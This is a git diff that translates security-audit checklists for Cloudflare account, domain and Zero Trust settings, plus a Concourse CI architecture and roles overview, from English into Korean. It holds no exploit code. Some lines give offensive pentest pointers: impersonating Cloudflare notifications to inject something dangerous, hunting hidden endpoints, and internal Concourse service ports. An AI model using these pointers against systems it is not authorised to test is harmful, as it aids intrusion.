||||
## Security Center
|
||||
|
||||
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
|
||||
- [ ] Just **check this information** for security misconfigurations and interesting info
|
||||
- [ ] 가능하다면 **`Security Insights`** **스캔**과 **`Infrastructure`** **스캔**을 실행하십시오. 이들은 **보안** 측면에서 흥미로운 정보를 **강조**할 것입니다.
|
||||
- [ ] 보안 잘못 구성된 사항과 흥미로운 정보를 **확인**하십시오.
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -86,53 +86,49 @@ cloudflare-zero-trust-network.md
|
||||
## Bulk Redirects
|
||||
|
||||
> [!NOTE]
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
|
||||
> [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/)와 달리, [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/)는 본질적으로 정적입니다 — 문자열 대체 작업이나 정규 표현식을 **지원하지 않습니다**. 그러나 URL 일치 동작 및 런타임 동작에 영향을 미치는 URL 리디렉션 매개변수를 구성할 수 있습니다.
|
||||
|
||||
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
|
||||
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
|
||||
- [ ] **리디렉션**의 **표현식**과 **요구 사항**이 **의미가 있는지** 확인하십시오.
|
||||
- [ ] 또한 **흥미로운 정보**를 포함하는 **민감한 숨겨진 엔드포인트**를 확인하십시오.
|
||||
|
||||
## Notifications
|
||||
|
||||
- [ ] Check the **notifications.** These notifications are recommended for security:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
|
||||
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
|
||||
- [ ] **알림**을 확인하십시오. 이러한 알림은 보안을 위해 권장됩니다:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] 모든 **대상**을 확인하십시오. 웹훅 URL에 **민감한 정보**(기본 http 인증)가 있을 수 있습니다. 웹훅 URL이 **HTTPS**를 사용하는지 확인하십시오.
|
||||
- [ ] 추가 확인으로, **Cloudflare 알림**을 제3자에게 **가장**해 보십시오. 어쩌면 **위험한 것을 주입**할 수 있을지도 모릅니다.
|
||||
|
||||
## Manage Account
|
||||
|
||||
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
|
||||
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
|
||||
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
|
||||
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
|
||||
- [ ] **`Billing` -> `Payment info`**에서 **신용 카드의 마지막 4자리**, **만료** 시간 및 **청구 주소**를 확인할 수 있습니다.
|
||||
- [ ] **`Billing` -> `Subscriptions`**에서 계정에 사용된 **요금제 유형**을 확인할 수 있습니다.
|
||||
- [ ] **`Members`**에서 계정의 모든 구성원과 그들의 **역할**을 확인할 수 있습니다. 요금제 유형이 Enterprise가 아닌 경우, 두 가지 역할만 존재합니다: Administrator와 Super Administrator. 그러나 사용된 **요금제가 Enterprise**인 경우, [**더 많은 역할**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)을 사용하여 최소 권한 원칙을 따를 수 있습니다.
|
||||
- 따라서 가능할 때마다 **Enterprise 요금제**를 사용하는 것이 **권장됩니다**.
|
||||
- [ ] Members에서 **2FA가 활성화된** **구성원**을 확인할 수 있습니다. **모든** 사용자는 이를 활성화해야 합니다.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
|
||||
> 다행히도 역할 **`Administrator`**는 구성원 관리를 위한 권한을 부여하지 않습니다 (**권한 상승이나** 새로운 구성원 초대 불가).
|
||||
|
||||
## DDoS Investigation
|
||||
|
||||
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
[이 부분을 확인하십시오](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,125 +2,125 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
Cloudflare에 구성된 각 TLD에는 구성할 수 있는 **일반 설정 및 서비스**가 있습니다. 이 페이지에서는 각 섹션의 **보안 관련 설정**을 **분석**할 것입니다:
|
||||
|
||||
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Overview
|
||||
### 개요
|
||||
|
||||
- [ ] Get a feeling of **how much** are the services of the account **used**
|
||||
- [ ] Find also the **zone ID** and the **account ID**
|
||||
- [ ] 계정의 서비스가 **얼마나** **사용되고 있는지** 파악하기
|
||||
- [ ] **존 ID**와 **계정 ID** 찾기
|
||||
|
||||
### Analytics
|
||||
### 분석
|
||||
|
||||
- [ ] In **`Security`** check if there is any **Rate limiting**
|
||||
- [ ] **`Security`**에서 **Rate limiting**이 있는지 확인하기
|
||||
|
||||
### DNS
|
||||
|
||||
- [ ] Check **interesting** (sensitive?) data in DNS **records**
|
||||
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
|
||||
- [ ] Check for web pages that **aren't** **proxied**
|
||||
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
|
||||
- [ ] Check that **DNSSEC** is **enabled**
|
||||
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
|
||||
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
|
||||
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
|
||||
- [ ] DNS **레코드**에서 **흥미로운** (민감한?) 데이터 확인하기
|
||||
- [ ] **이름**(예: admin173865324.domin.com)을 기반으로 **민감한 정보**를 포함할 수 있는 **서브도메인** 확인하기
|
||||
- [ ] **프록시되지 않은** 웹 페이지 확인하기
|
||||
- [ ] CNAME 또는 IP 주소로 **직접 접근할 수 있는** **프록시된 웹 페이지** 확인하기
|
||||
- [ ] **DNSSEC**가 **활성화**되어 있는지 확인하기
|
||||
- [ ] **모든 CNAME에서** **CNAME Flattening**이 **사용**되고 있는지 확인하기
|
||||
- 이는 **서브도메인 탈취 취약점**을 **숨기고** 로드 시간을 개선하는 데 유용할 수 있습니다.
|
||||
- [ ] 도메인이 [**스푸핑에 취약하지 않은지**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) 확인하기
|
||||
|
||||
### **Email**
|
||||
### **이메일**
|
||||
|
||||
TODO
|
||||
|
||||
### Spectrum
|
||||
### 스펙트럼
|
||||
|
||||
TODO
|
||||
|
||||
### SSL/TLS
|
||||
|
||||
#### **Overview**
|
||||
#### **개요**
|
||||
|
||||
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
|
||||
- [ ] The **SSL/TLS Recommender** should be enabled
|
||||
- [ ] **SSL/TLS 암호화**는 **Full** 또는 **Full (Strict)**이어야 합니다. 다른 경우에는 어느 시점에서 **명확한 텍스트 트래픽**이 전송됩니다.
|
||||
- [ ] **SSL/TLS 추천기**가 활성화되어야 합니다.
|
||||
|
||||
#### Edge Certificates
|
||||
#### 엣지 인증서
|
||||
|
||||
- [ ] **Always Use HTTPS** should be **enabled**
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
|
||||
- [ ] **Minimum TLS Version should be 1.2**
|
||||
- [ ] **TLS 1.3 should be enabled**
|
||||
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
|
||||
- [ ] **Certificate Transparency Monitoring** should be **enabled**
|
||||
- [ ] **항상 HTTPS 사용**이 **활성화**되어야 합니다.
|
||||
- [ ] **HTTP 엄격 전송 보안 (HSTS)**가 **활성화**되어야 합니다.
|
||||
- [ ] **최소 TLS 버전은 1.2**여야 합니다.
|
||||
- [ ] **TLS 1.3**이 **활성화**되어야 합니다.
|
||||
- [ ] **자동 HTTPS 재작성**이 **활성화**되어야 합니다.
|
||||
- [ ] **인증서 투명성 모니터링**이 **활성화**되어야 합니다.
|
||||
|
||||
### **Security**
|
||||
### **보안**
|
||||
|
||||
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
|
||||
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
|
||||
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
|
||||
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
|
||||
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
|
||||
- [ ] In the **`Settings`** section:
|
||||
- [ ] Check that the **`Security Level`** is **medium** or greater
|
||||
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
|
||||
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
|
||||
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
|
||||
- [ ] **`WAF`** 섹션에서 **방화벽** 및 **rate limiting 규칙이 사용되고 있는지** 확인하는 것이 흥미롭습니다.
|
||||
- **`Bypass`** 작업은 요청에 대해 **Cloudflare 보안** 기능을 **비활성화**합니다. 사용해서는 안 됩니다.
|
||||
- [ ] **`Page Shield`** 섹션에서 페이지가 사용되는 경우 **활성화**되어 있는지 확인하는 것이 좋습니다.
|
||||
- [ ] **`API Shield`** 섹션에서 Cloudflare에 노출된 API가 있는 경우 **활성화**되어 있는지 확인하는 것이 좋습니다.
|
||||
- [ ] **`DDoS`** 섹션에서 **DDoS 보호**를 활성화하는 것이 좋습니다.
|
||||
- [ ] **`Settings`** 섹션에서:
|
||||
- [ ] **`Security Level`**이 **중간** 이상인지 확인하기
|
||||
- [ ] **`Challenge Passage`**가 최대 1시간인지 확인하기
|
||||
- [ ] **`Browser Integrity Check`**가 **활성화**되어 있는지 확인하기
|
||||
- [ ] **`Privacy Pass Support`**가 **활성화**되어 있는지 확인하기
|
||||
|
||||
#### **CloudFlare DDoS Protection**
|
||||
#### **CloudFlare DDoS 보호**
|
||||
|
||||
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
|
||||
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
|
||||
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
|
||||
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
|
||||
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
|
||||
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
|
||||
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
|
||||
- In DDoS you could **override some rules to make them more restrictive**.
|
||||
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
|
||||
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
|
||||
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
|
||||
- 가능하다면 **Bot Fight Mode** 또는 **Super Bot Fight Mode**를 활성화하세요. 프로그램적으로 접근하는 API를 보호하는 경우 (예: JS 프론트 엔드 페이지에서) 이 기능을 활성화할 수 없을 수 있습니다.
|
||||
- **WAF**에서: **URL 경로**별로 **rate limits**를 생성하거나 **검증된 봇**에 대해 (Rate limiting 규칙), 또는 IP, 쿠키, 리퍼러 등을 기반으로 **접근 차단**을 할 수 있습니다. 따라서 웹 페이지에서 오지 않거나 쿠키가 없는 요청을 차단할 수 있습니다.
|
||||
- 공격이 **검증된 봇**에서 발생하는 경우, 최소한 **봇에 대한 rate limit**을 추가하세요.
|
||||
- 공격이 **특정 경로**에 대한 경우, 예방 메커니즘으로 해당 경로에 **rate limit**을 추가하세요.
|
||||
- **WAF**의 **Tools**에서 IP 주소, IP 범위, 국가 또는 ASN을 **화이트리스트**할 수 있습니다.
|
||||
- **Managed rules**가 취약점 악용 방지에 도움이 될 수 있는지 확인하세요.
|
||||
- **Tools** 섹션에서 특정 IP 및 **사용자 에이전트**에 대해 **차단하거나 도전 과제를 제공**할 수 있습니다.
|
||||
- DDoS에서 **일부 규칙을 더 제한적으로 변경**할 수 있습니다.
|
||||
- **Settings**: **Security Level**을 **High**로 설정하고 **Under Attack**으로 설정하세요. 공격을 받고 있고 **Browser Integrity Check가 활성화**되어 있어야 합니다.
|
||||
- Cloudflare Domains -> Analytics -> Security -> **rate limit**이 활성화되어 있는지 확인하세요.
|
||||
- Cloudflare Domains -> Security -> Events -> **탐지된 악성 이벤트**를 확인하세요.
|
||||
|
||||
### Access
|
||||
### 접근
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
### Speed
|
||||
### 속도
|
||||
|
||||
_I couldn't find any option related to security_
|
||||
_보안과 관련된 옵션을 찾을 수 없었습니다._
|
||||
|
||||
### Caching
|
||||
### 캐싱
|
||||
|
||||
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
|
||||
- [ ] **`Configuration`** 섹션에서 **CSAM 스캐닝 도구**를 활성화하는 것을 고려하세요.
|
||||
|
||||
### **Workers Routes**
|
||||
### **워커 경로**
|
||||
|
||||
_You should have already checked_ [_cloudflare workers_](./#workers)
|
||||
_이미_ [_cloudflare workers_](./#workers)를 확인했어야 합니다.
|
||||
|
||||
### Rules
|
||||
### 규칙
|
||||
|
||||
TODO
|
||||
|
||||
### Network
|
||||
### 네트워크
|
||||
|
||||
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
|
||||
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
|
||||
- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
|
||||
- [ ] **`HTTP/2`**가 **활성화**되어 있다면, **`HTTP/2 to Origin`**도 **활성화**되어야 합니다.
|
||||
- [ ] **`HTTP/3 (with QUIC)`**가 **활성화**되어야 합니다.
|
||||
- **사용자**의 **프라이버시**가 중요하다면 **`Onion Routing`**이 **활성화**되어 있는지 확인하세요.
|
||||
|
||||
### **Traffic**
|
||||
### **트래픽**
|
||||
|
||||
TODO
|
||||
|
||||
### Custom Pages
|
||||
### 사용자 정의 페이지
|
||||
|
||||
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
|
||||
- [ ] 보안과 관련된 오류가 발생할 때 사용자 정의 페이지를 구성하는 것은 선택 사항입니다 (예: 차단, rate limiting 또는 공격 중 모드).
|
||||
|
||||
### Apps
|
||||
### 앱
|
||||
|
||||
TODO
|
||||
|
||||
### Scrape Shield
|
||||
### 스크랩 방지
|
||||
|
||||
- [ ] Check **Email Address Obfuscation** is **enabled**
|
||||
- [ ] Check **Server-side Excludes** is **enabled**
|
||||
- [ ] **이메일 주소 난독화**가 **활성화**되어 있는지 확인하세요.
|
||||
- [ ] **서버 측 제외**가 **활성화**되어 있는지 확인하세요.
|
||||
|
||||
### **Zaraz**
|
||||
|
||||
@@ -131,7 +131,3 @@ TODO
|
||||
TODO
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -8,13 +8,13 @@ In a **Cloudflare Zero Trust Network** account there are some **settings and ser
|
||||
|
||||
### Analytics
|
||||
|
||||
- [ ] Useful to **get to know the environment**
|
||||
- [ ] 유용한 **환경을 이해하기 위해**
|
||||
|
||||
### **Gateway**
|
||||
|
||||
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
|
||||
- If used, **policies** could be created to **restrict** the access to malicious sites.
|
||||
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
|
||||
- [ ] **`Policies`**에서 **DNS**, **네트워크** 또는 **HTTP** 요청에 따라 애플리케이션에 접근할 수 있는 사람을 **제한**하는 정책을 생성할 수 있습니다.
|
||||
- 사용되는 경우, 악성 사이트에 대한 접근을 **제한**하는 정책을 생성할 수 있습니다.
|
||||
- 이는 **게이트웨이를 사용하는 경우에만 관련이 있으며**, 사용하지 않는 경우 방어 정책을 생성할 이유가 없습니다.
|
||||
|
||||
### Access
|
||||
|
||||
@@ -22,23 +22,23 @@ In a **Cloudflare Zero Trust Network** account there are some **settings and ser
|
||||
|
||||
On each application:
|
||||
|
||||
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
|
||||
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
|
||||
- [ ] Check the **available identity providers** and make sure they **aren't too open**
|
||||
- [ ] In **`Settings`**:
|
||||
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
|
||||
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
|
||||
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
- [ ] **누가** 애플리케이션에 접근할 수 있는지 **Policies**에서 확인하고, **오직** 애플리케이션에 **접근이 필요한 사용자**만 접근할 수 있는지 확인합니다.
|
||||
- 접근을 허용하기 위해 **`Access Groups`**가 사용될 것이며 (**추가 규칙**도 설정할 수 있습니다)
|
||||
- [ ] **사용 가능한 아이덴티티 제공자**를 확인하고, 너무 **열려 있지 않은지** 확인합니다.
|
||||
- [ ] **`Settings`**에서:
|
||||
- [ ] **CORS가 활성화되어 있지 않은지** 확인합니다 (활성화되어 있다면, **안전한지** 확인하고 모든 것을 허용하지 않는지 확인합니다)
|
||||
- [ ] 쿠키는 **Strict Same-Site** 속성을 가져야 하며, **HTTP Only**와 **binding cookie**는 애플리케이션이 HTTP인 경우 **활성화**되어야 합니다.
|
||||
- [ ] 더 나은 **보호를 위해** **Browser rendering**도 활성화하는 것을 고려합니다. **자세한 정보는** [**원격 브라우저 격리 여기**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**에서 확인하세요.**
|
||||
|
||||
#### **Access Groups**
|
||||
|
||||
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
|
||||
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
|
||||
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
|
||||
- [ ] 생성된 접근 그룹이 **허용해야 할 사용자**에 **올바르게 제한**되어 있는지 확인합니다.
|
||||
- [ ] **기본 접근 그룹이 너무 열려 있지 않은지** 확인하는 것이 특히 중요합니다 (너무 많은 사람을 **허용하지 않음**) 기본적으로 해당 **그룹**의 누구나 **애플리케이션에 접근**할 수 있습니다.
|
||||
- **EVERYONE**에게 **접근**을 허용하거나 다른 **매우 열린 정책**을 부여하는 것이 가능하지만, 100% 필요하지 않는 한 권장되지 않습니다.
|
||||
|
||||
#### Service Auth
|
||||
|
||||
- [ ] Check that all service tokens **expires in 1 year or less**
|
||||
- [ ] 모든 서비스 토큰이 **1년 이하**에 만료되는지 확인합니다.
|
||||
|
||||
#### Tunnels
|
||||
|
||||
@@ -50,16 +50,12 @@ TODO
|
||||
|
||||
### Logs
|
||||
|
||||
- [ ] You could search for **unexpected actions** from users
|
||||
- [ ] 사용자로부터 **예상치 못한 행동**을 검색할 수 있습니다.
|
||||
|
||||
### Settings
|
||||
|
||||
- [ ] Check the **plan type**
|
||||
- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
|
||||
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
|
||||
- [ ] **플랜 유형**을 확인합니다.
|
||||
- [ ] **신용 카드 소유자 이름**, **마지막 4자리**, **만료** 날짜 및 **주소**를 확인할 수 있습니다.
|
||||
- 실제로 이 서비스를 사용하지 않는 사용자를 제거하기 위해 **사용자 좌석 만료**를 추가하는 것이 권장됩니다.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,36 +2,32 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 기본 정보
|
||||
|
||||
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
|
||||
Concourse는 필요할 때마다(시간 기반, 무언가가 발생할 때...) 테스트, 작업 및 이미지를 자동으로 실행하기 위해 **파이프라인을 구축**할 수 있게 해줍니다.
|
||||
|
||||
## Concourse Architecture
|
||||
## Concourse 아키텍처
|
||||
|
||||
Learn how the concourse environment is structured in:
|
||||
Concourse 환경이 어떻게 구조화되어 있는지 알아보세요:
|
||||
|
||||
{{#ref}}
|
||||
concourse-architecture.md
|
||||
{{#endref}}
|
||||
|
||||
## Concourse Lab
|
||||
## Concourse 실습
|
||||
|
||||
Learn how you can run a concourse environment locally to do your own tests in:
|
||||
자신의 테스트를 수행하기 위해 로컬에서 concourse 환경을 실행하는 방법을 알아보세요:
|
||||
|
||||
{{#ref}}
|
||||
concourse-lab-creation.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumerate & Attack Concourse
|
||||
## Concourse 열거 및 공격
|
||||
|
||||
Learn how you can enumerate the concourse environment and abuse it in:
|
||||
Concourse 환경을 열거하고 이를 악용하는 방법을 알아보세요:
|
||||
|
||||
{{#ref}}
|
||||
concourse-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,39 +4,35 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
|
||||
[**Concourse 문서의 관련 데이터:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
### Architecture
|
||||
|
||||
.png>)
|
||||
|
||||
#### ATC: web UI & build scheduler
|
||||
#### ATC: 웹 UI 및 빌드 스케줄러
|
||||
|
||||
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
|
||||
ATC는 Concourse의 핵심입니다. **웹 UI 및 API**를 실행하며 모든 파이프라인 **스케줄링**을 담당합니다. **PostgreSQL**에 연결되어 파이프라인 데이터를 저장하는 데 사용합니다(빌드 로그 포함).
|
||||
|
||||
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
|
||||
[체커](https://concourse-ci.org/checker.html)의 책임은 리소스의 새로운 버전을 지속적으로 확인하는 것입니다. [스케줄러](https://concourse-ci.org/scheduler.html)는 작업에 대한 빌드를 스케줄링하는 책임이 있으며, [빌드 트래커](https://concourse-ci.org/build-tracker.html)는 예약된 빌드를 실행하는 책임이 있습니다. [가비지 컬렉터](https://concourse-ci.org/garbage-collector.html)는 사용되지 않거나 오래된 객체(예: 컨테이너 및 볼륨)를 제거하는 정리 메커니즘입니다.
|
||||
|
||||
#### TSA: worker registration & forwarding
|
||||
#### TSA: 워커 등록 및 포워딩
|
||||
|
||||
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
TSA는 **워커**를 [**ATC**](https://concourse-ci.org/internals.html#component-atc)와 안전하게 **등록**하는 데만 사용되는 **맞춤형 SSH 서버**입니다.
|
||||
|
||||
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
|
||||
TSA는 **기본적으로 포트 `2222`**에서 수신 대기하며, 일반적으로 [ATC](https://concourse-ci.org/internals.html#component-atc)와 함께 배치되고 로드 밸런서 뒤에 위치합니다.
|
||||
|
||||
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
**TSA는 SSH 연결을 통해 CLI를 구현하며,** [**이 명령어들**](https://concourse-ci.org/internals.html#component-tsa)을 지원합니다.
|
||||
|
||||
#### Workers
|
||||
|
||||
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
작업을 실행하기 위해 Concourse는 일부 워커가 필요합니다. 이 워커들은 [TSA](https://concourse-ci.org/internals.html#component-tsa)를 통해 **자신을 등록**하고 [**Garden**](https://github.com/cloudfoundry-incubator/garden) 및 [**Baggageclaim**](https://github.com/concourse/baggageclaim) 서비스를 실행합니다.
|
||||
|
||||
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
|
||||
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
|
||||
- **Garden**: 이것은 **컨테이너 관리 API**로, 일반적으로 **포트 7777**에서 **HTTP**를 통해 실행됩니다.
|
||||
- **Baggageclaim**: 이것은 **볼륨 관리 API**로, 일반적으로 **포트 7788**에서 **HTTP**를 통해 실행됩니다.
|
||||
|
||||
## References
|
||||
|
||||
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,49 +4,47 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### User Roles & Permissions
|
||||
### 사용자 역할 및 권한
|
||||
|
||||
Concourse comes with five roles:
|
||||
Concourse는 다섯 가지 역할을 제공합니다:
|
||||
|
||||
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
|
||||
- **owner**: Team owners can **modify everything within the team**.
|
||||
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
|
||||
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
|
||||
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
|
||||
- _Concourse_ **Admin**: 이 역할은 **주 팀**(기본 초기 concourse 팀)의 소유자에게만 부여됩니다. 관리자는 **다른 팀을 구성**할 수 있습니다(예: `fly set-team`, `fly destroy-team`...). 이 역할의 권한은 RBAC에 의해 영향을 받을 수 없습니다.
|
||||
